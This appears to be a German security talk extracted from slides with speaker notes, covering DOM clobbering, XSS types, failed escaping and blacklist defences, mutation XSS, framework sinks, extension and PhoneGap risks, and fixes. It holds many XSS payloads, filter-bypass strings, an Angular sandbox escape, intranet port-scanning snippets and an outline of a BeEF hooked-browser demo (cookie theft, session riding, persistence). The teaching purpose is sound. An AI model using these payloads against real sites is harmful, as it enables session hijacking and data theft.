  • 55. b ? DOM   Clobbering DOM Clobbering Kennt jemand den Begriff? Ein wenig Doku dazu gibt es, aber nicht viel. Das DOM ist voll von Möglichkeiten, Strings in Code umzuwandeln. Viele davon sind Klassiker. Einige bekannt und andere unbekannter. Alle haben eine gemeinsames Ergebniss: DOMXSS
  • 56. bElemente  mit  name-­‐ASribut    werden  zu  document-­‐Variablen DOM   Clobbering Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
  • 57. b DOM   Clobbering Wenn ich also eine Variable definiere liegt sie erst einmal im globalen, sprich im window-scope. Irgendwie uneindeutig?
  • 58. b DOM   Clobbering   History 1995:  Legacy-­‐DOM   DOM  Level  0   document.forms[0].elements[0] Stopp erstmal. Jetzt gibts einen kurzen Exkurs in die Geschichte von DOM. Wozu? Um den Kontext zum heutigen DOM herzustellen. Begonnen hat alles 1995, als die Jungs von Netscape mehr Interaktiviät und einen Zugriff auf die Elemente eingebunden haben. Es war kein Standard. Wieso auch?
  • 60. b1997:  DHTML,  DOM  Level  0+   MSIE,  Netscape  4.0 DOM   Clobbering   History 1997 wurde in MSIE & dem Netspace das “Intermediate DOM” implementiert. Was war neu? Es gab mehr APIs um HTML in JavaScript anzusprechen. Standard gab es immer noch keinen. Wieso auch, es war Browserkrieg.
  • 61. b1998:  DOM  Level  1  vom  W3C   empfohlen DOM   Clobbering   History Nach ca. 4 Jahren kamen die ersten Ansätze für Standards auf. Nett. Nur hielt sich damals keiner daran. Warum auch? Neu war hier die Trennung in "Core" und "HTML", Naming Conventions, die Document Structur, ...
  • 62. b 2000:  DOM  Level  2   document.getElementById()   document.createEvent() DOM   Clobbering   History Neu waren die Module: “Core”, „HTML“, „Events“, „Style“ und „Views“ zur einer Besseren Trennung der Standards. Eine Fundamentale Änderung war der zugriff via document.getElementById() sowie das erstellen von Events. Die Entwicklung der Standards stagnierte im W3C, Entwickler und Browserhersteller wollten aber mehr!
  • 63. bHeute:  DOM  Level  4   HTML-­‐,  SVG-­‐,  PDF-­‐,  XML-­‐,   MathML  DOM   DOM   Clobbering   History Spezifiziert unter anderem vom W3C, der WHATWG (Web Hypertext Application Technology Working Group) und bestimmten Vendors. Das Ziel dahinter ist die API zwischen Code und Content.
  • 64. bWas  hat  das  nun  mit  Security  zu  tun?   DOM   Clobbering   History Hmm, was hat das num mit Security zu tun? Was haben wir gesehen: Das DOM hat sich über Jahrzehnte entwickelt. Anfangs war die API klein, ist gewachsen und wieder geschrumpft. Mittlerweile ist die API riesig, manchmal einfach, manchmal komplex. Fakt ist: ohne DOM geht nix! Was hat das mit Security zu tun? Ich zeig es euch!
  • 65. b Was  hat  das  nun   mit  Security  zu   tun?  
  • 66. b DOM   Clobbering Zurück zum ersten Beispiel. Das sah doch alles Okay aus. Das ganze geht auch ohne <script> Tags. Hat jemand einen Vorschlag wie?
  • 67. b DOM   Clobbering Forms! Form-Elemente gehen unmittelbar ein. Hier habe ich eine Javascript-Variable im globalen Scope definiert ohne eine Zeile Javascript zu zeigen. Demo ->
  • 68. b DOM   Clobbering Aber kann ich damit auch das JavaScript überschreiben? Nein, in diesem Fall sticht Javascript. Demo->
  • 69. b DOM   Clobbering Aber kann ich damit auch natives JavaScript überschreiben? Ja -> Demo
  • 70. b DOM   Clobbering Und das gilt nicht nur für properties - sondern auch für Methoden.
  • 71. j JavaScript   OverwriFng Was  kann  denn  alles     mit  JavaScript   überschrieben  werden?   Überschreiben und Javascript - hat jemand eine Idee, was alles überschrieben werden kann? JavaScript Variablen, Browser Variablen, JavaScript Methoden, Browser Methoden.
  • 72. j JavaScript   OverwriFng Object.getOwnPropertyDescriptor(
      Object,  "getOwnPropertyDescriptor")
 
 Flag:  configurable. Netterweise bietet JavaScript eine Methode, mit der man das Herausfinden kann - getOwnPropertyDescriptor. Dieser gibt einem ein Objekt zurück, in dessen Property configurable steht ob man es ändern kann oder nicht.
  • 74. KXSS Zwischenstatus: Jeder ein Kali Linux installiert? Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?
  • 75. KXSS Cross   Site     ScripFng Genau, das sollte auch jeder Wissen. Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben. Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.
  • 76. KXSS JavaScript   InjecFon Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.
  • 77. KXSS <html>   <head>   <Ftle>JavaScript-­‐Test</Ftle>   <script  src="quadrat.js"  type="text/javascript">   </script>   </head> JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.
  • 78. KXSS <html>   <head>   <Ftle>JavaScript-­‐Test</Ftle>   <script  src="quadrat.js"  type="text/javascript">   </script>   </head> I  WANT  MOAR! Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...
  • 79. KXSS <html><head><Ftle>JavaScript-­‐Test</Ftle>   <script  type="text/javascript">   alert(“Hi!“);   </script>   </head> Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...
  • 80. KXSS <a  href=“javascript:alert(/Hi!/);“>Click  me</a> Einfach URLs nutzen könnte, um JavaScript auszuführen???
  • 81. KXSS <meta  h<p-­‐equiv=“refresh“   content=“0;url=“javascript:alert(1);“> Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.
  • 82. KXSS <table  background=“javascript:... Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind. Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist. Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.
  • 83. KXSS <input  value=“12“  onmouseover=“alert(1);“> Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.
  • 84. KXSS <style>a:  expression(alert(1))</style> Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.
  • 85. KXSS <STYLE>.XSS{background-­‐ image:url("javascript:alert('XSS')");}</ STYLE><A  CLASS=XSS></A> Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen. Glücklicherweise auf neuen Browsern auch nicht mehr möglich.
  • 86. KXSS <script>   xss  =  “alert(1);“;   eval(xss);   </script> Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.
  • 87. KXSS Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.
  • 88. KXSS Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren! MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.
  • 89. KXSS Das  ist     unprakFsch! Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.
  • 90. KXSS Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.
  • 91. KXSS Ich  wollte  doch  nur   Daten  schreiben! Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.
  • 92. KXSS <p>Name:  Hartmann</p> <p>Name:  Hartmann<script>alert(1);</ script></p> Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.
  • 93. KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.
  • 94. KXSS <input  type=text  value=“Hartmann“> <input  type=text  value=“Hartmann“   AUTOFOCUS  onfocus=“alert(1);“> Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;
  • 95. KXSSXSS  Type  0:   Dom-­‐based  XSS Lokal,  nur  im  Client,  ohne  Server.   Deshalb  hild  serverside  MiFgaFon  nicht.   Meist  basierend  auf  locaFon.* Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt. Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht. Man kann sich nur direkt im Javascript schützen.
  • 96. KXSSXSS  Type  1:   Reflected  XSS Die  typische  XSS.
 Eingabe  -­‐>  Ausgabe  -­‐>  Boom.   Schön  zu  testen.   Andere  Seite  heilt  den  XSS. Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.
  • 97. KXSSXSS  Type  2:   Persistent  XSS Wie  reflekFerter  XSS,  aber  gespeichert.   Auch  für  andere  Nutzer  sichtbar,  kann  viral   werden. Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.
  • 98. KXSSXSS  Type  X:   Somewhere  Else Eingebe<etes  remote.js   Externe  JSONPs   Daten  aus  der  Datenbank   Handschrid  auf  der  Überweisung Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.
  • 99. KXSSRich  Internet   ApplicaFons Bei  Single  Page  ApplicaFons  ist  jeder  XSS   persistent,  weil  keine  Heilung  mehr  durch   einen  URL-­‐Wechsel  stagfindet. Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.
  • 100. KXSS Escaping  FTW! Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?
  • 101. KXSS escapeHtml(“Hartmann<script>alert(1);</script>“); Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.
  • 103. KXSS escapeHtml(“Hartmann“  AUTOFOCUS  onfocus= “alert(1);  “); <input  type=text  value=“Hartmann&quot;   AUTOFOCUS  onfocus=&quot;alert(1);“> Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...
  • 104. KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssen Das gleiche gilt für ausgaben in JavaScript Events.
  • 105. KXSS <script>   plz  =  “80331“;   <script> <script>   plz  =  “80331'</script><svg  onload=alert(1)>“;   <script> Jetzt kann man sagen: dann escape doch einfach die Anführungsstriche richtig, dann klappt das doch. Demo: file:///Users/johann/security/javascript/parser.html
  • 106. KXSS Universelles  Escaping   funkFoniert  nicht. Fazit: Universelles Escaping funktioniert nicht.
  • 107. KXSS $name  =$_GET[‘name‘];   $name  =  escapeme($name); <script>   name  =  “...“;   <script> Input Output Wie würde hier die Escapeme aussehen?
  • 108. KXSS Input Output $data  =   ‘{vorname:“johann“,nachname:“Ha rtmann“}‘; <script>   var  data  =  myfuncoon(“...“);   <script> Wie würde hier die myfunction aussehen?
  • 109. KXSS Input Output $wysiwyg  =  “<div>Hi!</div>“;   $layout  =  escapeme($wysiwyg); <body>     ....   </body> Und hier? Genau, universelles Escaping funktioniert nicht.
  • 110. KXSS Blacklists  dw Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?
  • 111. KXSS <p>Name:  Hartmann<script>alert(1);</ script></p> <p>Name:  Hartmannalert(1);</p> Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.
  • 112. KXSS <p>Name:   Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name:  Hartmann<script>alert(1);</ script></p> Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.
  • 113. KXSS <p>Name:   Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name:  Hartmann[removed]alert(1);   [removed]  </p> Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.
  • 114. KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....
  • 115. KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;prompt(1,1);   <script> ... da muss man dann prompt(1,1) zum testen nehmen :-).
  • 116. KXSS Universelles   BlacklisFng   funkFonert  nicht. Fazit: Universelles Blacklisting funktioniert auch nicht.
  • 117. KXSS Ok,  Escaping  geht  nicht,  BlacklisFng  geht   nicht.   Sonst  noch  was  um  meine  Laune  zu   verderben?   Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?
  • 118. KMXSS The  innerhtml   Apocalypse Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.
  • 119. KMXSS Es  steht  das  drin,     was  gemeint  war. Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.
  • 120. KMXSS DemoFme! Idee,  Konzept,  sonsFges:  
 alles  geklaut  bei  Mario  Heiderich Demo! file:///Users/johann/javascript/innerhtml_test.html Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse <video><source onerror=„alert(1)"> <script> var a="text 1</script>"; var b="text 2<script>alert(1);a=""; </script>
  • 121. KMXSS HTML  im  Browser  !=  geschriebenes  HTML •abhängig  von  Browserversion   •abhängig  von  Browsermode   •abhängig  von  PosiFon  im  HTML Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.
  • 122. KMXSS Beispiel:  <i  foo="<b>"  [EOF]
 Firefox,  Chrome,  Safari:  da  ist  nur  ein  <i>-­‐Tag   
 IE,  Opera:  Da  ist  ein  <i>  und  ein  <b>-­‐Tag   Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf - dann wird das <b>-Tag in IE und Opera als solches interpretiert.
  • 123. KXSS <div data-dojo-type="dojox/calendar/Calendar" data-dojo-props="startDate: new Date(2012, 0, 1), endDate: new Date(2012, 0, 9)" style="position:relative;width:500px;height:500px"></div> Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.
  • 124. KXSS Vorher  galt:     Attribut  mit  on*  -­‐>  Triggert  JavaScript data-­‐dojo-­‐a<ach-­‐event Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.
  • 125. KXSS Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)
  • 126. KXSS Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.
  • 127. KXSS$() Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.
  • 128. KXSS$() Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.
  • 129. KXSS Sink: eine Funktion, die ein Risiko darstellt, wenn ihr nicht vertrauenswürdiger Input übergeben wird. In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind. SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.
  • 130. KXSS $()  ist  eine  Sink $("<img  src='dd'  onerror='alert(1)'>"); Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
  • 131. KXSS <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div> Ähnliche Probleme gibt es auch den meisten JavasScript-Template-Libraries, in diesem Fall Angular.js. Die Templates erlauben zwar kein direktes eval, aber Methodenaufruf mit Parametern - und wenn ich das so mache, habe ich faktisch auch wieder die möglichkeit zu evaluieren.
  • 132. KXSS <div class="ng-app"> &#x7b;&#x7b;constructor.constructor('alert(1) ')()&#x7d;&#x7d; </div> Jetzt könnte man natürlich sagen: hej, dann filtern wir einfach auf {{ .. aber leider geht auch das in die execution.
  • 133. KXSS <b data-ng-app data-ng- style="constructor.constructor('alert(1)')()" /> Und nicht nur direkt im Template-Text wird executed, wie bei Dojo kann ich auch direkt im Attribut JavaScript triggern.
  • 134. KXSS Ok,  aber  
 ist  das  wirklich   ein  Problem? Da stellt sich natürlich die Frage - ist das wirklich ein Problem?
  • 135. Browser  Security •kein  Zugriff  auf  das  Filesystem   •das  aktuelle  HTML-­‐Dokument  lesen  /  schreiben   •den  Browser  steuern   •mit  Plugins  interagieren   •Same-­‐Origin-­‐Policy:     •Freier  Zugriff  auf  Daten  vom  gleichen  Host   •kein  direkter  Zugriff  auf  andere  Hosts JavaScript  Sandbox Genau deshalb implementiert JavaScript eine Sandbox. Typische Fähigkeiten anderer Programmiersprachen - Dateien öffnen, Netzwerkverbindungen aufbauen, Schreiben - sind verboten.
  • 136. KXSS Erkennung  der  Browser-­‐IP  per  WebRTC   nmap  für  Arme:  Host-­‐  und  Portscanning   über  Iframes,  Img-­‐Tags,  JavaScript,  ohne  JavaScript   über  Timing  von  <link>-­‐Includes:   <img src=“http://192.168.2.1:80/“ onError=“stoptimer(“192.168.2.1“, 80);“ /> Intranet
  • 137. KXSS DicFonary-­‐A<acken  auf  das  Intranet   Erkennung  von  Devices  und  vorhandener   Logins  über  URLs   Breite  Angriffe  (zB  Drive-­‐By-­‐Pharming) Intranet
  • 138. KXSS var  handle  =   window.requestAnimaFonFrame(callback);   Nutzen  um  die  Frame  Rate  auszurechnen   Über  -­‐moz-­‐element  iframe  als  vergrösserten   Background  für  ein  <div>  nutzen   teuren  Morphology-­‐Filter  über  einzelne  Pixel   legen  und  Frame  Rate  messen Pixel  Perfect  Timing
  • 139. KXSS Pixel  Perfect  Timing http://www.contextis.com/files/Browser_Timing_Attacks.pdf Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.
  • 140. KXSS Geht  natürlich  auch  mit  view-­‐source:  urls  im   Chrome   Framebuster/  X-­‐Frame-­‐OpFons  schützen   Facebook-­‐Comments/Likes  wollen   embedded  werden   OCR  funkFoniert. Pixel  Perfect  Timing
  • 141. KXSS Beef! 1. Neuer Browser http://whatismyipaddress.com IP notieren 2. Blog-URL http://blog.mayflower.de 3. in http://beef.mayflower.de/ui/panel einloggen 4. Links die Zombies zeigen 5. Rechts Log zeigen 6. Meine IP raussuchen 7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin 8. Commands Browser Domain 8.1 get cookie -> session riding mit login 8.2 get page hrefs 8.3 alert dialog 8.4 Full Page Rickroll 8.5 Webcam Permission check - interesting domains 8.6 Host - Get internal IP 8.7 DOSer 8.9 Persistence - create popunder. 9.0 Phonegap & Extension exploits
  • 142. CXSSExtensions,     &  HTML5   &  Phonegap Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.
  • 144. CXSSExtensions Pro  Domain*  Sonderrechten:   chrome.tabs   chrome.bookmarks   chrome.history   chrome.cookies
  • 145. CXSSExtensions Pro  Domain*  Sonderrechten:   chrome.tabs   chrome.bookmarks   chrome.history   chrome.cookies 40%   h<p://*/*   h<ps://*/*
  • 146. CXSSExtensions Halten  sich  inzwischen  an  Content   Security  Policy Aber:  diverse  eval()s  in  Libraries     (mustache,  underscore,  jQuery  template)
  • 147. CXSSExtensions Resultat:     Voller  Zugriff  auf  alle  Seiten  im  Browser   Inkl.  Cookies  und  Logins   Facebook,  GMail,  Twi<er,  ...
  • 148. CXSSHTML5 <input  type=file  directory> Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.
  • 149. CXSSHTML5 Alte  Bugs  in  neuen  VariaFonen:   <input  onfocus=alert(1)  autofocus>   <input  onblur=alert(1)  autofocus><input  autofocus>   <form  id=test  onforminput=alert(1)>   <bu<on  form=test  onformchange=alert(2)>   <bu<on  form=test  onformchange=alert(2)>   <math  href="javascript:alert(1)">CLICKME</math> Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.
  • 150. CXSSPhonegap Bzw.  Apache  Cordova:     HTML5/JS-­‐Apps  für  beliebige  Environments. Wer kennt Phonegap? Das ist ein Framework das von Adobe gekauft wurde, zeitgleich aber auch im Source der Apache Foundation übergeben wurde. Faktisch handelt es sich um eine Browser-Komponente, die die Funktionalität der Umgebung für JavaScript bereitstellt.
  • 151. CXSSPhonegap Gilt  auch  für  MoSync,  Web  Marmalade,   appMobi,  BlackBerry  WebWorks  ... Die Prinzipien dahinter gelten nicht nur für PhoneGap, sondern auch für MoSync, WebMarmalade etc.
  • 152. CXSSPhonegap !Same  Origin  sondern  Local  Permissions   CapabiliFes  über  Permissions:   Camera,  Audio,  Contacts,  Files,  GeolocaFon,   Media,...
 Alle  CapabiliFes  der  App  in  XSS  nutzbar Die Fähigkeiten sind bei Android Install-Time, bei Apple bei First-Use. Bei Microsoft gibt es Fähigkeiten, die sehr viele Themen auf einmal betreffen.
  • 153. CXSSPhonegap „Hybrid  Apps“   Web  +  Mobile Viele der mobilen Apps und insbesondere der grössere Teil der Phonegap-Apps sind hybride Apps. Sie haben nicht nur einen lokalen Teil, sondern auch einen Web-Anteil - denn dorther kommen Daten, HTML und viele andere Dinge.
  • 154. CXSSPhonegap „Hybrid  Apps“   Beispiel:  Adbroker   App  &  Same-­‐Origin-­‐Security Das gemeine bei diesen Hybrid Apps ist, dass man ihnen in Wahrheit nicht traut - konkret hat man zB keine Ahnung, was der Adbroker so treibt. Und man will ihm und seinem JavaScript auch keinen Zugriff auf die Webcam geben, auch wenn das die Applikation eigentlich darf. Deshalb gibt es meistens einen Iframe-Komponente, in der sowas läuft.
  • 155. CXSSPhonegap „Fracking“ Mit Fracking bezeichnet man es wenn in hybriden Apps Webapplikationen in den lokalen Scope kommen und damit mit den lokalen Rechten arbeiten können. Dazu gibt es ein dickers Paper aus dem Februar, das eine Vielzahl von Vektoren pro Plattform bereitstellt.
  • 156. CXSSPhonegap 7167  Apps   3328  Hybride   407  Apps  zB  Geodata     an  >  20  Parteien Die Jungs haben automatisiert 7167 Phonegap-Apps im Android-AppStore gefunden und analysiert. Davon waren 3328 Apps Hybride Apps, und von denen haben mehr als 12% Rechte auf die Geo-Lokalisation gehabt und Zugriff von mehr als 20 Parteien erlaubt.
  • 157. CXSSPhonegap User-­‐Content  mit  XSS:   WTF:  XSS  PrevenFon  ist  Blackberry  Only  
  • 158. CXSS Are  we  done   now,  please? Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.
  • 159. hJSON JavaScript  Object  Notaoon   „Hey,  it‘s  Data  and  Code!“   JSON, die JavaScript Object Notation. Wer wendet es alles an? Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code angewandt werden kann - erinnert das jemanden an etwas? Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?
  • 160. hJSON A JSON text can be safely passed into JavaScript's eval() function (which compiles and executes a string) if all the characters not enclosed in strings are in the set of characters that form JSON tokens. This can be quickly determined in JavaScript with two regular expressions and calls to the test and replace methods. var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test( text.replace(/"(.|[^"])*"/g, ''))) && eval('(' + text + ')'); h<p://www.ie‰.org/rfc/rfc4627.txt: JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren kann. Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach nur Eval, sondern vorher evaluieren
  • 161. hJSON // Courtesy of Eduardo `sirdarckcat` Vela Nava +{ "valueOf": self["location"], "toString": []["join"], 0: "javascript:alert(1)", length: 1 } Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von Google.
  • 162. hJSON Danke,  Internet  Explorer. Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser alles als JavaScript interpretiert.
  • 163. M TyposquaŠng   XSS 1.  Registrier  die  Domain  googlesyndicaFo.com   2.  Erzeuge  ein  file  h<p://pagead2.googlesyndicaFo.com/ pagead/ads   3.  12.000  Aufrufe  pro  Tag   4.  Beefproject  FTW Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“ Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads- Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.
  • 164. ZXSS How  to  fix  it. Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.
  • 165. Escaping HTML: htmlEscape JavaScript Strings: javascriptEscape JavaScript Values: whitelist Attribute/Event Names: whitelist Attribute Values: javascriptEscape Urls: htmlEscape WYSIWYG: AntiSamy,JSOUP Hier habe ich mal gesammelt, was die Methoden der Wahl sind beim Einsatz von Spring MVC. Es gibt auch XSS-Blacklisting-Filter oder Web Application Firewalls. Wer setzt hier einen Blacklisting-Filter ein? Wir kommen noch dazu, warum die nicht helfen können.
  • 166. Zuse  strict; „Einfacher“  sicheres  JS  schreiben   Ecmascript  5  (>=  ie8  toleriert)   "use  strict“;
 Global  oder  in  einer  FunkFon Das erste kommt netterweise mit der Sprache,und sogar mit einer ziemlich gut verfügbaren Variante von Javascript, nämlich Ecmascript 5. Das heisst: alle modernen Browser, IE aber erst ab 10. Allerdings tolerieren IE8 und IE9 den Syntax, es schadet also nicht, es dort schon zu aktivieren. Man macht es an indem man es schlicht an den Anfang des Scriptes - oder an den Anfang der Funktion legt. Achtung: wer lässt seine javascript-files automatisch zusammenfassen?
  • 167. Zuse  strict; Bad  Syntax  
 =     Real  Errors Wie erreicht use strict das? Es macht typische Fehler in der Programmierung zu wirklichen Fehlern. Und sorgt damit dafür, dass sie nicht mehr passieren.
  • 168. Zuse  strict; Verboten:   undeklarierte  Variablen  (DOM-­‐Clobbering)   mehrfache  ProperFes/Parameter   schreiben  von  readonly-­‐/getonly-­‐ ProperFes   „with“   „this“  in  FunkFonen Undeklarierte Variablen dürfen nicht mehr genutzt werden.
  • 169. ZEcmascript  6:   Aller  Code  in  „class“  ist  strict  by  default   Aller  Code  in  module  ist  strict  by  default use  strict;
  • 170. ZSFchprobe  npmjs.org:     ~1%  aller  JS-­‐Dateien  enthalten  use  strict. use  strict;
  • 171. Z Tamper-­‐Proof   Objects Ecma  5.1:  Objekte  vor  ModifikaPonen  schützen   point  ={x:1,y:2};   Object.preventExtensions(point);
